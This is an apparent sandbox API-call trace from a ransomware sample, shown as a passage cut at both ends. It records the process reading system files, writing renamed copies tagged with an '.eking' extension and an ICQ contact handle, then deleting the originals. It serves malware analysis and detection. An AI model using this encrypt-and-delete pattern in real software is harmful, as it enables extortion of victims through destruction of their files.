CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0288.893] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0288.894] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0288.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x30c [0288.895] ReadFile (in: hFile=0x2dc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x285, lpOverlapped=0x0) returned 1 [0288.897] WriteFile (in: hFile=0x30c, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x290, lpOverlapped=0x0) returned 1 [0288.898] WriteFile (in: hFile=0x30c, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0288.898] CloseHandle (hObject=0x2dc) returned 1 [0288.899] CloseHandle (hObject=0x30c) returned 1 [0288.899] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0288.901] SetEvent (hEvent=0x2a0) returned 1 [0288.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.902] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=231) returned 1 [0288.902] CloseHandle (hObject=0x30c) returned 1 [0288.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0288.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0288.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.905] SetEvent (hEvent=0x2a0) returned 1 [0288.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.907] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=23871) returned 1 [0288.907] CloseHandle (hObject=0x30c) returned 1 [0288.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0288.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0288.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.908] SetEvent (hEvent=0x2a0) returned 1 [0288.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.909] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=237) returned 1 [0288.909] CloseHandle (hObject=0x30c) returned 1 [0288.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0288.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0288.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.910] SetEvent (hEvent=0x2a0) returned 1 [0288.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.915] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=6406) returned 1 [0288.915] CloseHandle (hObject=0x30c) returned 1 [0288.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0288.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0288.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.916] SetEvent (hEvent=0x2a0) returned 1 [0288.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.917] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=235) returned 1 [0288.917] CloseHandle (hObject=0x30c) returned 1 [0288.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0288.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0288.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.918] SetEvent (hEvent=0x2a0) returned 1 [0288.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.919] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=4222) returned 1 [0288.919] CloseHandle (hObject=0x30c) returned 1 [0288.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0288.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0288.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.920] SetEvent (hEvent=0x2a0) returned 1 [0288.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0288.930] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=237) returned 1 [0289.218] CloseHandle (hObject=0x30c) returned 1 [0289.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0289.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0289.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.219] SetEvent (hEvent=0x2a0) returned 1 [0289.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.222] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=4734) returned 1 [0289.222] CloseHandle (hObject=0x30c) returned 1 [0289.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0289.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0289.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.223] SetEvent (hEvent=0x2a0) returned 1 [0289.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.224] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=232) returned 1 [0289.224] CloseHandle (hObject=0x30c) returned 1 [0289.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0289.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0289.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.225] SetEvent (hEvent=0x2a0) returned 1 [0289.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.228] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10569) returned 1 [0289.228] CloseHandle (hObject=0x30c) returned 1 [0289.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0289.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0289.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.228] SetEvent (hEvent=0x2a0) returned 1 [0289.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.230] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=230) returned 1 [0289.230] CloseHandle (hObject=0x30c) returned 1 [0289.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0289.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0289.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.230] SetEvent (hEvent=0x2a0) returned 1 [0289.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.232] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=7505) returned 1 [0289.232] CloseHandle (hObject=0x30c) returned 1 [0289.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0289.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0289.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.233] SetEvent (hEvent=0x2a0) returned 1 [0289.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.234] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=990032) returned 1 [0289.234] CloseHandle (hObject=0x30c) returned 1 [0289.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0289.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0289.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0289.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0289.235] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0289.235] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0289.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0289.237] ReadFile (in: hFile=0x30c, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0xf1b50, lpOverlapped=0x0) returned 1 [0289.787] WriteFile (in: hFile=0x304, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf1b60, lpOverlapped=0x0) returned 1 [0290.574] WriteFile (in: hFile=0x304, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0290.575] CloseHandle (hObject=0x30c) returned 1 [0290.575] CloseHandle (hObject=0x304) returned 1 [0290.814] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0290.826] SetEvent (hEvent=0x2a0) returned 1 [0290.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0290.828] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=20608) returned 1 [0290.828] CloseHandle (hObject=0x310) returned 1 [0290.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0290.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0290.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 